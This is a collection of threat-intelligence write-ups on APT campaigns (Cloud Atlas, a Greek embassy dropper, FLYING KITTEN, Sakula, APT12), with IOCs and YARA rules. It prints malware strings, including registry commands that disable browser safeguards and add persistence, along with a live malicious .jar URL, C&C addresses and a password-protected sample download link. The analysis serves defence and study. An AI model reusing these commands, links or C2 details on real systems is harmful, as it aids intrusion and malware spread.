Actually, we see an obvious overlap of +targets between the two, with subtle differences which closely account for the geopolitical +changes in the region that happened during the last two years. +Interestingly, some of the spear-phishing documents between Cloud Atlas and RedOctober seem to exploit +the same theme and were used to target the same entity at different times. +Both Cloud Atlas and RedOctober malware implants rely on a similar construct, with a loader and the final +payload that is stored encrypted and compressed in an external file. There are some important differences +though, especially in the encryption algorithms used + RC4 in RedOctober vs AES in Cloud Atlas. +The usage of the compression algorithms in Cloud Altas and RedOctober is another interesting similarity. +Both malicious programs share the code for LZMA compression algorithm. In CloudAtlas it is used to +compress the logs and to decompress the decrypted payload from the C&C servers, while in Red October +the "scheduler" plugin uses it to decompress executable payloads from the C&C. +It turns out that the implementation of the algorithm is identical in both malicious modules, however the +way it is invoked is a bit different, with additional input sanity checks added to the CloudAtlas version. +Another interesting similarity between the malware families is the configuration of the build system used +to compile the binaries. Every binary created using the Microsoft Visual Studio toolchain has a special +header that contains information about the number of input object files and version information of the +compilers used to create them, the "Rich" header called so by the magic string that is used to identify it in +the file. +We have been able to identify several RedOctober binaries that have "Rich" headers describing exactly the +same layout of VC 2010 + VC 2008 object files. Although this doesn't necessarily mean that the binaries +were created on the same development computer, they were definitely compiled using the same version of +the Microsoft Visual Studio up to the build number version and using similar project configuration. +Number of object +files, CloudAtlas +loader +Number of object +files, Red October +Office plugin +Number of object +files,Red October +Fileputexec +plugin +HEX compiler +version +Decoded compiler +version +009D766F +VC 2010 (build +30319) +009B766F +VC 2010 (build +30319) +00AB766F +VC 2010 (build +30319) +00010000 +00937809 +VC 2008 (build +30729) +00AA766F +VC 2010 (build +30319) +009E766F +VC 2010 (build +30319) +To summarize the similarities between the two: +Cloud Atlas +RedOctober +Shellcode marker in spearphished +documents +PT@T +PT@T +Top target country +Russia +Russia +Compression algorithm used for +C&C communications +LZMA +LZMA +C&C servers claim to be / redirect to +BBC (mobile malware) +Compiler version +VC 2010 (build 30319) +VC 2010 (build 30319) (some +modules) +Finally, perhaps the strongest connection comes from targeting. Based on observations from KSN, some +of the victims of RedOctober are also being targeted by CloudAtlas. In at least one case, the +victim's computer was attacked only twice in the last two years, with only two malicious +programs + RedOctober and Cloud Atlas. +These and other details make us believe that CloudAtlas represents a rebirth of the RedOctober attacks. +Conclusion +Following big announcements and public exposures of targeted attack operations, APT groups behave in a +predictable manner. Most Chinese-speaking attackers simply relocate C&C servers to a different place, +recompile the malware and carry on as if nothing happened. +Other groups that are more nervous about exposure go in a hibernation mode for months or years. Some +may never return using the same tools and techniques. +However, when a major cyber-espionage operation is exposed, the attackers are unlikely to completely +shut down everything. They simply go offline for some time, completely reshuffle their tools and return +with rejuvenated forces. +We believe this is also the case of RedOctober, which makes a classy return with Cloud +Atlas. +Kaspersky products detect the malware from the Cloud Atlas toolset with the following verdicts: +Exploit.Win32.CVE-2012-0158.j +Exploit.Win32.CVE-2012-0158.eu +Exploit.Win32.CVE-2012-0158.aw +Exploit.MSWord.CVE-2012-0158.ea +HEUR:Trojan.Win32.CloudAtlas.gen +HEUR:Trojan.Win32.Generic +HEUR:Trojan.Script.Generic +Trojan-Spy.Win32.Agent.ctda +Trojan-Spy.Win32.Agent.cteq +Trojan-Spy.Win32.Agent.ctgm +Trojan-Spy.Win32.Agent.ctfh +Trojan-Spy.Win32.Agent.cter +Trojan-Spy.Win32.Agent.ctfk +Trojan-Spy.Win32.Agent.ctfj +Trojan-Spy.Win32.Agent.crtk +Trojan-Spy.Win32.Agent.ctcz +Trojan-Spy.Win32.Agent.cqyc +Trojan-Spy.Win32.Agent.ctfg +Trojan-Spy.Win32.Agent.ctfi +Trojan-Spy.Win32.Agent.cquy +Trojan-Spy.Win32.Agent.ctew +Trojan-Spy.Win32.Agent.ctdg +Trojan-Spy.Win32.Agent.ctlf +Trojan-Spy.Win32.Agent.ctpz +Trojan-Spy.Win32.Agent.ctdq +Trojan-Spy.Win32.Agent.ctgm +Trojan-Spy.Win32.Agent.ctin +Trojan-Spy.Win32.Agent.ctlg +Trojan-Spy.Win32.Agent.ctpd +Trojan-Spy.Win32.Agent.ctps +Trojan-Spy.Win32.Agent.ctpq +Trojan-Spy.Win32.Agent.ctpy +Trojan-Spy.Win32.Agent.ctie +Trojan-Spy.Win32.Agent.ctcz +Trojan-Spy.Win32.Agent.ctgz +Trojan-Spy.Win32.Agent.ctpr +Trojan-Spy.Win32.Agent.ctdp +Trojan-Spy.Win32.Agent.ctdr +Trojan.Win32.Agent.idso +Trojan.Win32.Agent.idrx +HEUR:Trojan.Linux.Cloudatlas.a +Trojan.AndroidOS.Cloudatlas.a +Trojan.IphoneOS.Cloudatlas.a +Parallel research: +Blue Coat Exposes Inception Framework +#9 Blitzanalysis: Embassy of Greece Beijing - Compromise +It's friday afternoon, I had a bit of free time and stumbled across this tweet by PhysicalDrive0 (thx!) two +hours ago and thought to give it a try to finally add a new article to this Blog (first of 2014): +https://twitter.com/PhysicalDrive0/status/479921770838102017 +So, I went to Google to search for the domain of the Embassy of Greece Beijing and added the (allegedly) +malicious java file package that was found by PhysicalDrive0: +URL: http://www.grpressbeijing.com/1.jar (malicious!) +Next, I loaded the 1.jar file into Java Decompiler to get the source code. It showed, that the functionality is +obfuscated in some way, e.g. the function csfn(String paramString) decrypts all strings by "removing" the +numbers of the string parameter: +csfn("64s33333e3333t333S55e666c777u5r333i534t76y2M34a55n76a88g666e44r2222") -> +setSecurityManager +There are some other obfuscation techniques, but they are not important here. Instead, the following +deobfuscated code line in the function init() gives us an idea where the actual payload is located: +Resp localResp = new Resp(csfn("234p34a55445c43654k632434234235")); -> pack +We can also see, that the java package contains a file named pack, so we open 7-Zip and unpack the file. A +quick view with a PE viewer showed, that it is a x86 PE executable not even encrypted (SHA256: +b832e4b5a4829c8df6de7b42c5cb32ef25b5ab59072b4c2a7838404cd0dd5e5f): +Figure 2: Payload inside Java package +Figure 3: Payload inside PE viewer +So, I opened IDA Pro to take a quick look at the functionality. Together with the strings of the executable, +we get a brief idea of what the purpose of this malware is. The important strings are as follows: +SELECT * FROM AntiVirusProduct +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v PrivDiscUiShown /t +REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t +REG_DWORD /d 2 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t +REG_DWORD /d 3 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d +1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnOnPostRedirect /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnonZoneCrossing /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d +2 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 +\cmd.exe +Together with the output of IDA Pro, we can see that this malware uses the command line tool cmd.exe for +adding several registry keys to Internet Explorer. It also tries to retrieve possible AntiVirus information by +using the COM interface (dc12a687-737f-11cf-884d-00aa004b2e24 -> IWbemLocator -> SELECT * +FROM AntiVirusProduct). Furthermore, it makes use of the COM to launch an instance of Internet +Explorer (d30c1661-cdaf-11d0-8a3e-00c04fc9e26e -> IWebBrowser2), supposedly to contact its C&C +server. To verify this, we open up Wireshark and run the executable. As a result, we get the following +network information: +C&C server: defense.miraclecz.com (IP: 208.115.124.83) +HTTP GET request: /index.asp?id=50100 +Also, we see that it downloads some kind of data (Base64 encoded). But first, we combine the C&C server +and the HTTP request and open the URL in our favorite Browser: +Figure 4: Base64 encoded (2nd) Payload +URL: defense.miraclecz.com/index.asp?id=50100 +As you can see, there is a string named microsoft followed by Base64 encoded data. Side note: Is there +also a Linux equivalent? +Next, we copy the Base64 encoded data and go to the following website to let us decode it into a file +(because I had the feeling it's just another unencrypted executable): +http://www.motobit.com/util/base64-decoder-encoder.asp +As a result, we get another executable (SHA256: +a4863f44f48d1c4c050dd7baad767a86b348dd4d33924acf4e0a3cd40c6ae29f) that was only Base64 +encoded and not encrypted in any way: +Figure 5: Downloaded Payload +So again, we fire up our PE viewer and take a look at the important strings: +http://buy.miraclecz.com +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DEPOff /t REG_DWORD /d 1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v DisableFirstRunCustomize /t +REG_DWORD /d 2 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" /v Check_Associations /t REG_SZ /d no +reg add "HKCU\Software\Microsoft\Internet Explorer\Main" +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon /t +REG_DWORD /d 3 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" /v Enabled /t REG_DWORD /d +1 /f +reg add "HKCU\Software\Microsoft\Internet Explorer\PhishingFilter" +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnOnPostRedirect /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v +WarnonZoneCrossing /t REG_DWORD /d 0 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v AutoRecover /t REG_DWORD /d +2 /f +reg add "HKCU\Software\Microsoft\Internet Connection Wizard" /v Completed /t REG_BINARY /d 1 +reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v spoolsv.exe /t REG_SZ /d +%%temp%%\spoolsv.exe /f +spoolsv.exe +Software\Microsoft\Windows\CurrentVersion\Run +open file fail +cmd timeout error %d +Run cmd error %d +cmd.exe /c %s>%s +%s%d.txt +open file error +%temp% +%s%s.ini +myWObject +\cmd.exe +!DOCTYPE html +%s/?id1=blank%d&id2=%d%d +%s/?id1=%d%d +Again, we load the executable into IDA Pro and quickly fly over the assembly code to get an idea of the +functionality. Once again, it creates several registry entries with the help of the command line tool and +creates an instance of the Internet Explorer (CoCreateInstance() -> d30c1661-cdaf-11d0-8a3e00c04fc9e26e) for contacting the C&C server. This time, the network information is as follows: +C&C server: buy.miraclecz.com (IP: 74.121.191.33) +URL parameters (from strings of executable): +%s/?id1=blank%d&id2=%d%d +%s/?id1=%d%d +From the code we can see, that the sample has also the ability to encode/decode data from/to Base64. The +dynamic analysis showed the malware sample contacted the C&C server, but wasn't sending any URL +parameters (id1, id2). Also the server didn't respond... +The files can be downloaded here: +https://www.dropbox.com/s/ckr7p5kka62cc7s/Embassy%20of%20Greece%20-%20Beijing.zip +Password: "infected" (without "") +That's it, have a nice weekend... +Cat Scratch Fever: CrowdStrike Tracks Newly Reported Iranian Actor +as FLYING KITTEN +Today, our friends at FireEye released a report on an Iran-based adversary they are calling Saffron Rose. +CrowdStrike Intelligence has also been tracking and reporting internally on this threat group since midJanuary 2014 under the name FLYING KITTEN, and since that time has seen targeting of multiple U.S.based defense contractors as well as political dissidents. +Flying Kitten Targeted Intrusion +FireEye +s report notes that this adversary +s targeted intrusion activity consists of credential theft and +malware delivery individually. The FLYING KITTEN campaigns investigated by CrowdStrike Intelligence +showed that the actor actually combines the two. For example, the adversary will register a domain that +spoofs the name of the targeted organization and then host a spoofed login page on that site. +The page is used to steal legitimate credentials, but once users enter the credentials, they are often +redirected to a new page that prompts them to download a +Browser Patch + or other similar type of file. +The downloaded file is actually the Stealer malware that exfiltrates stolen data to an FTP server. +In addition to the aerospace/defense and dissident targeting, it also appears that FLYING KITTEN is also +engaged in broader targeting via the website parmanpower[.]com. This website is registered via the same +registrant email (info[@]usa.gov.us) and other Whois information as some of the other domains related to +the activity discussed above. It purports to be the website of a business engaged in recruiting, training, and +development in Erbil, Iraq. +No malicious activity has been linked to this domain, however, the fact that it was registered under the +same registrant email at the same time as other FLYING KITTEN domains linked to malicious activity, it +is likely that the adversary is using this site for malicious purposes as well. The website does not appear to +deliver any malware, so its most likely purpose is to act as a credential-collection mechanism much like +the spoofed Institute of Electrical and Electronics Engineers (IEEE) Aerospace Conference website +(aeroconf2014[.]org) the adversary used earlier this year. This spoofed recruiting company website could +be used to target entities across a wide range of sectors. +Attribution +Attribution in this case is interesting, as the adversary appears to have made a mistake when registering +its malicious domains. The registrant email that currently appears in the Whois records of some of the +FLYING KITTEN domains is info[@]usa.gov.us, however historical records show that the domains were +originally registered under the email address keyvan.ajaxtm[@]gmail.com. +As FireEye +s report notes, the keyvan.ajaxtm@gmail.com email address ties back to an Iran-based entity +called Ajax Security Team. Earlier this year, Ajax Security had an easily identifiable presence on the +Internet with its own website and related Facebook pages. +This Internet presence has decreased significantly since early 2014, likely due to a desire to keep a lower +profile now that the group is engaged in targeted intrusion activity. +The following Yara rules will provide detection for the adversary remote access toolkit and exfiltration +tool: +rule CrowdStrike_FlyingKitten : rat +meta: +copyright = "CrowdStrike, Inc" +description = "Flying Kitten RAT" +version = "1.0" +actor = "FLYING KITTEN" +in_the_wild = true +strings: +$classpath = "Stealer.Properties.Resources.resources" +$pdbstr = "\Stealer\obj\x86\Release\Stealer.pdb" +condition: +all of them and +uint16(0) == 0x5A4D and uint32(uint32(0x3c)) == 0x4550 and +uint16(uint32(0x3C) + 0x16) & 0x2000 == 0 and +((uint16(uint32(0x3c)+24) == 0x010b and +uint32(uint32(0x3c)+232) > 0) or +(uint16(uint32(0x3c)+24) == 0x020b and +uint32(uint32(0x3c)+248) > 0)) +rule CrowdStrike_CSIT_14003_03 : installer +meta: +copyright = "CrowdStrike, Inc" +description = "Flying Kitten Installer" +version = "1.0" +actor = "FLYING KITTEN" +in_the_wild = true +strings: +$exename = "IntelRapidStart.exe" +$confname = "IntelRapidStart.exe.config" +$cabhdr = { 4d 53 43 46 00 00 00 00 } +condition: +all of them +You can use this rule with CrowdStrike +s free CrowdResponse tool to easily scan your systems for presence +of FLYING KITTEN. +If you have any questions about these signatures or want to hear more about Flying Kitten and their +tradecraft, please contact: intelligence@crowdstrike.com and inquire about Falcon Intelligence, our Cyber +Threat Intelligence subscription. +Share this - +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +crowdstrike.com +The French Connection: +French AerospaceFocused CVE-2014-0322 +Attack Shares +Similarities with 2012 +Capstone Turbine +Activity + Adversary +Manifesto +by Matt Dahl + Feb. 25, 2014 + 3 min read + original +https://www.readability.com/articles/orjyhfkm +1/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +Two weeks ago, news broke about strategic web +compromise (SWC) activity on the website for the U.S. +organization, Veterans of Foreign Wars (VFW). This +activity leveraged exploit code for a zero-day +vulnerability now identified as CVE-2014-0322 and +ultimately infected victims with ZxShell malware. +CrowdStrike Intelligence attributed this attack to the +AURORA PANDA adversary; however, the discovery of +additional indicators revealed that another adversary +https://www.readability.com/articles/orjyhfkm +2/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +was leveraging the same vulnerability to carry out +targeted attacks nearly a month before the VFW attack +occurred. This other activity appears to be focused on +French aerospace and shares similarities with a 2012 +SWC campaign affecting the website of U.S.-based +turbine manufacturer, Capstone Turbine. +GIFAS-Related Activity +CrowdStrike Intelligence became aware of this +additional activity after learning of a malicious iframe +located at savmpet[.]com. The iframe redirected +visitors to gifas[.]assso[.]net, which was hosting +exploit code in two files (include.html and Tope.swf ) +as well as a malicious payload (Erido.jpg). +https://www.readability.com/articles/orjyhfkm +3/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +Above are screenshots of the savmpet[.]com webpage +and part of the page source showing the date that it was +last modified and the iframe redirect. The content of +the page was taken from the website of the French +aerospace industries association, Groupement des +industries fran +aises a +ronautiques et spatiales +(GIFAS). The 17 January 2014 date on both the +webpage and the page source shows that it was created +nearly a month before the VFW attack occurred +https://www.readability.com/articles/orjyhfkm +4/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +Victim exploitation occurred in the same manner as in +the VFW activity, but the payload was different. +Instead of ZxShell malware connecting to AURORA +PANDA-related infrastructure, it was a malware +variant known as Sakula connecting to command-andcontrol (C2) infrastructure at oa[.]ameteksen[.]com. +French Aerospace Focus +This attack +s most obvious connection to French +aerospace is the content taken from the GIFAS website +and the GIFAS-based domain used to host the exploit +code and payload (gifas[.]assso[.]net). However, a more +in-depth look reveals additional connections. +First is the IP address 173.252.252.204, which hosted +both savmpet[.]com and gifas[.]assso[.]net. Several +other domains were also pointed at this IP during the +same time frame, including two that contained the +same content and malicious iframe as savmpet[.]com, +secure[.]safran-group[.]com, and icbcqsz[.]com. +Of particular interest was secure[.]safran-group[.]com. +Safran is a France-based aerospace and defense +company with a focus on the design and production of +https://www.readability.com/articles/orjyhfkm +5/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +aircraft engines and equipment. The company owns +the safran-group[.]com domain, and the fact that one of +its subdomains was pointed at a malicious IP address +suggests that the adversary compromised Safran +DNS. +The Sakula malware used in this attack contained an +unusual and interesting component that further +indicates a focus on French aerospace. As part of the +infection process, it added a number of domains to the +host + file of victim machines. +The snecma[.]fr domain belongs to the Safran +subsidiary, Snecma, that designs and builds engines for +civilian and military aircraft, and spacecraft. The +https://www.readability.com/articles/orjyhfkm +6/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +domains listed appear to provide remote access to the +company +s employees and possibly third-party +contractors. +The purpose of this component is unclear. It does not +map these domains to malicious IP addresses because +the 217.108.170.0/24 range belongs to the company, +which means it is not meant to send victims directly to +adversary infrastructure for credential collection. One +possibility is that it was meant to make the malware +appear more legitimate. It has also been +hypothesized that this was done to ensure DNS +connectivity to these particular domains; however, it +seems unlikely that victims would suffer significant +DNS connectivity issues, which means that adding this +component to the malware for that purpose would be +somewhat superfluous. +It should be noted that no victim logs related to this +attack were discovered, so it is unclear who the actual +targets and victims were. Having the secure[.]safrangroup[.]com domain pointed at a malicious IP indicates +that Safran suffered a DNS compromise, but no deeper +network compromise was observed. It is possible that +https://www.readability.com/articles/orjyhfkm +7/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +the adversary desired to target the French aerospace +and defense sectors broadly, or possibly organizations +in these sectors globally. +Similarities to 2012 Capstone Turbine SWC Attack +In January 2013, it was reported that the website for +U.S.-based turbine manufacturer, Capstone Turbine, +had been compromised and was being used in a SWC +attack leveraging an exploit for the CVE-2012-4792. +There are three primary similarities between the +Capstone Turbine attack and the recent French +aerospace activity. +The first, and most significant, connection is the use of +Sakula malware. In both campaigns, Sakula variants +were installed on successfully exploited machines. In +Capstone Turbine, the Sakula sample used (MD5 hash: +61fe6f4cb2c54511f0804b1417ab3bd2) connected to +web[.]vipreclod[.]com, and in the recent attack, the +sample (MD5 hash: +c869c75ed1998294af3c676bdbd56851) connected to +oa[.]ameteksen[.]com. Use of this malware doesn +https://www.readability.com/articles/orjyhfkm +8/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +appear to be widespread, but it is not yet clear whether +only one group uses it, and therefore its use alone does +not necessarily indicate a particular adversary. +Another similarity is that GIFAS-based malicious +domains are related to each incident. In the more +recent attack, the gifas[.]assso[.]net domain was used +to host exploit code and the malicious payload. The +Capstone Turbine incident did not directly use a +GIFAS-based domain, but a deeper look at network +indicators related to those observed in the Capstone +incident reveals two such domains: +gifas[.]cechire[.]com and gifas[.]blogsite[.]org. +https://www.readability.com/articles/orjyhfkm +9/10 +4/10/2016 The French Connection: French Aerospace-Focused CVE-2014-0322 Attack Shares Similarities with 2012 Capstone Turbine Act +The third similarity between the two is the use of zerodays. The exploit used in Capstone Turbine was a zeroday during the time it was active, just like the exploit +used in the recent French aerospace activity. This is a +general similarity that does not create a definitive link +between the two attacks, but when viewed in +conjunction with the use of the same malware and +GIFAS-based domains, it strengthens the connection. +Original URL: +http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve2014-0322-attack-shares-similarities-2012/ +https://www.readability.com/articles/orjyhfkm +10/10 +I am Ironman: DEEP PANDA Uses Sakula Malware to Target +Organizations in Multiple Sectors +Over the last few months, the CrowdStrike Intelligence team has been tracking a campaign of highly +targeted events focused on entities in the U.S. Defense Industrial Base (DIB), healthcare, government, and +technology sectors. This campaign infected victims with Sakula malware variants that were signed with +stolen certificates. Investigation into this activity led to associations with the adversary known to +CrowdStrike as DEEP PANDA. +On 31 July 2014, an executable was identified, which, at the time, was not detected by any anti-virus +products. When this file was executed, it caused the victim to view a website by using the ShellExecute() +API to open a URL. The site +s domain name was meant to spoof that of a site set up to provide information +on an alumni event for a U.S university. This page requested that the visitor download an Adobe-related +plugin in order to view the content. The downloaded plugin file included a variant of Sakula malware. [1] +The Sakula malware in this campaign utilized the Dynamic Link Library (DLL) side-loading technique +most commonly associated with PlugX activity. In the aforementioned university-related incidents, a +legitimate executable named MediaSoft.exe (MD5 hash: d00b3169f45e74bb22a1cd684341b14a) loaded a +file named msi.dll (MD5 hash: ae6f33f6cdc25dc4bda24b2bccff79fe), which, in turn, was used to load the +Sakula executable (MD5 hash: 0c2674c3a97c53082187d930efb645c2). This final executable was also +signed with a certificate assigned to an organization called DTOPTOOLZ Co., Ltd. +Command-and-Control (C2) communications in this incident went directly to IP address +180.210.206.246; a sample GET request is below: +Further investigation revealed similar activity stretching back to at least April 2014, when similar TTPs +were used to target a healthcare organization and a U.S.-based IT company with high-profile clients in the +defense sector. Two other incidents were also identified in August 2014 targeting a company in the DIB +and a Mongolian government entity. +All incidents in this campaign were similar in that they utilized malicious droppers masquerading as +installers for legitimate software applications like Adobe Reader, Juniper VPN, and Microsoft ActiveX +Control. They display progress bars that make it appear as if the specified software is being updated or +installed. +Example of Installer Progress Bar Displayed by Dropper +In addition, the droppers all directed victims to login pages for services specific to the target organization +like webmail, document sharing, or corporate VPN. In all cases except one, the victims were directed to +legitimate login pages. The one exception was a case in which victims were sent to a login page hosted on a +domain that spoofed that of the legitimate one. It is unclear whether redirecting victims to these login +pages was part of credential-collection activity or merely meant to deceive victims into believing that the +activity was legitimate. +Example of a Login Page that Victims were Redirected to +The campaign appeared to be over by the end of August, but a file was recently discovered that suggests it +may be ongoing. The intended target again appeared to be a Mongolian government entity, and the file +masqueraded as an installer for Microsoft ActiveX software. It dropped the side-loaded Sakula malware +just like in the other incidents; however, in this instance, the Sakula payload was signed with a certificate +assigned to a different organization, Career Credit Co., Ltd. The malware used the domain www[.]xhamster[.]com for C2 which was created in mid-September and is registered with the email address +wendellom@yahoo.com and registrant name +tonyy starke + (hence the name, Ironman-related title for +this blog). +Below is a chart showing the relevant relationships to this DEEP PANDA campaign. +The bottom of the chart shows an infrastructure connection between an IP address (198.200.45.112) used +this campaign and also used in recently observed DEEP PANDA activity. +Association with Recent Scanbox Activity +In September 2014, CrowdStrike Intelligence identified a malicious file signed with the DTOPTOOLZ Co., +Ltd. certificate. Analysis of this file revealed it to be Derusbi malware (a favorite RAT of DEEP PANDA) +that used the domain vpn[.]foundationssl[.]com for its C2. At the time of discovery, CrowdStrike did not +attribute the file to DEEP PANDA based on the malware alone, but the use of the DTOPTOOLZ certificate +to sign a malware variant known to be heavily used by this adversary makes it likely that this signed +Derusbi sample is also attributable to DEEP PANDA. +In a recent public report from PWC, another foundationssl[.]com domain was linked to activity involving +the Strategic Web Compromise (SWC) framework more commonly known as Scanbox. In that operation, +the Scanbox code was placed on the website of a U.S.-based think tank and utilized the malicious domain, +news[.]foundationssl[.]com. The use of the two foundationssl[.]com subdomains suggests that the same +adversary (in this case DEEP PANDA) was responsible for the signed Derusbi malware file and the think +tank SWC activity. Furthermore, CrowdStrike publicly reported on DEEP PANDA targeting of think tanks +in July 2014. +If you want to hear more about DEEP PANDA and their tradecraft or any of the other adversaries that +CrowdStrike tracks, please contact: sales@crowdstrike.com +[1] In February 2014, CrowdStrike publicly reported on a campaign that leveraged Sakula malware +(http://www.crowdstrike.com/blog/french-connection-french-aerospace-focused-cve-2014-0322-attackshares-similarities-2012/index.html); however, the Tactics, Techniques, and Procedures (TTPs) between +that campaign and this recent one are different, suggesting two distinct adversaries are using the Sakula +malware. +Share this - +Darwin +s Favorite APT Group +Introduction +The attackers referred to as APT12 (also known as IXESHE, DynCalc, and DNSCALC) recently started a +new campaign targeting organizations in Japan and Taiwan. APT12 is believed to be a cyber espionage +group thought to have links to the Chinese People +s Liberation Army. APT12 +s targets are consistent with +larger People +s Republic of China (PRC) goals. Intrusions and campaigns conducted by this group are inline with PRC goals and self-interest in Taiwan. Additionally, the new campaigns we uncovered further +highlight the correlation between APT groups ceasing and retooling operations after media exposure, as +APT12 used the same strategy after compromising the New York Times in Oct 2012. Much like Darwin +theory of biological evolution, APT12 been forced to evolve and adapt in order to maintain its mission. +The new campaign marks the first APT12 activity publicly reported since Arbor Networks released their +blog +Illuminating The Etumbot APT Backdoor. + FireEye refers to the Etumbot backdoor as RIPTIDE. +Since the release of the Arbor blog post, FireEye has observed APT12 use a modified RIPTIDE backdoor +that we call HIGHTIDE. This is the second time FireEye has discovered APT12 retooling after a public +disclosure. As such, FireEye believes this to be a common theme for this APT group, as APT12 will +continue to evolve in an effort to avoid detection and continue its cyber operations. +FireEye researchers also discovered two possibly related campaigns utilizing two other backdoors known +as THREEBYTE and WATERSPOUT. Both backdoors were dropped from malicious documents built +utilizing the +Tran Duy Linh + exploit kit, which exploited CVE-2012-0158. These documents were also +emailed to organizations in Japan and Taiwan. While APT12 has previously used THREEBYTE, it is +unclear if APT12 was responsible for the recently discovered campaign utilizing THREEBYTE. Similarly, +WATERSPOUT is a newly discovered backdoor and the threat actors behind the campaign have not been +positively identified. However, the WATERSPOUT campaign shared several traits with the RIPTIDE and +HIGHTIDE campaign that we have attributed to APT12. +Background +From October 2012 to May 2014, FireEye observed APT12 utilizing RIPTIDE, a proxy-aware backdoor +that communicates via HTTP to a hard-coded command and control (C2) server. RIPTIDE +s first +communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to +encrypt all further communication. +Figure 1: RIPTIDE HTTP GET Request Example +In June 2014, Arbor Networks published an article describing the RIPTIDE backdoor and its C2 +infrastructure in great depth. The blog highlighted that the backdoor was utilized in campaigns from +March 2011 till May 2014. +Following the release of the article, FireEye observed a distinct change in RIPTIDE +s protocols and strings. +We suspect this change was a direct result of the Arbor blog post in order to decrease detection of +RIPTIDE by security vendors. The changes to RIPTIDE were significant enough to circumvent existing +RIPTIDE detection rules. FireEye dubbed this new malware family HIGHTIDE. +HIGHTIDE Malware Family +On Sunday August 24, 2014 we observed a spear phish email sent to a Taiwanese government ministry. +Attached to this email was a malicious Microsoft Word document (MD5: +f6fafb7c30b1114befc93f39d0698560) that exploited CVE-2012-0158. It is worth noting that this +email appeared to have been sent from another Taiwanese Government employee, +implying that the email was sent from a valid but compromised account. +Figure 2: APT12 Spearphishing Email +The exploit document dropped the HIGHTIDE backdoor with the following properties: +6e59861931fa2796ee107dc27bfdd480 +Size +75264 bytes +Complie 2014-08-23 08:22:49 +Time +Import ead55ef2b18a80c00786c25211981570 +Hash +The HIGHTIDE backdoor connected directly to 141.108.2.157. If you compare the HTTP GET request from +the RIPTIDE samples (Figure 1) to the HTTP GET request from the HIGHTIDE samples (Figure 3) you +can see the malware author changed the following items: +User Agent +Format and structure of the HTTP Uniform Resource Identifier (URI) +Figure 3: HIGHTIDE GET Request Example +Similar to RIPTIDE campaigns, APT12 infects target systems with HIGHTIDE using a Microsoft Word +(.doc) document that exploits CVE-2012-0158. FireEye observed APT12 deliver these exploit documents +via phishing emails in multiple cases. Based on past APT12 activity, we expect the threat group to continue +to utilize phishing as a malware delivery method. +File Name +Exploit +73f493f6a2b0da23a79b50765c164e88 +.doc +CVE-2012-0158 +f6fafb7c30b1114befc93f39d0698560 0824.1.doc +CVE-2012-0158 +eaa6e03d9dae356481215e3a9d2914dc + CVE-2012-0158 +.doc +06da4eb2ab6412c0dc7f295920eb61c4 +.doc +CVE-2012-0158 +53baedf3765e27fb465057c48387c9b6 103 +.doc +CVE-2012-0158 +00a95fb30be2d6271c491545f6c6a707 2014 09 17 Welcome Reception for Bob CVE-2012-0158 +and Jason_invitation.doc +4ab6bf7e6796bb930be2dd0141128d06 +_Y103(2) + CVE-2012-0158 +(0825).doc +Figure 4: Identified exploit documents for HIGHTIDE +When the file is opened, it drops HIGHTIDE in the form of an executable file onto the infected system. +RIPTIDE and HIGHTIDE differ on several points: executable file location, image base address, the UserAgent within the GET requests, and the format of the URI. The RIPTIDE exploit document drops its +executable file into the C:\Documents and Settings\{user}\Application Data\Location folder while the +HIGHTIDE exploit document drops its executable file into the C:\DOCUMENTS and SETTINGS\ +{user}\LOCAL SETTINGS\Temp\ folder. All but one sample that we identified were written to this folder +as word.exe. The one outlier was written as winword.exe. +Research into this HIGHTIDE campaign revealed APT12 targeted multiple Taiwanese Government +organizations between August 22 and 28. +THREEBYTE Malware Family +On Monday August 25, 2014 we observed a different spear phish email sent from lilywang823@gmail.com 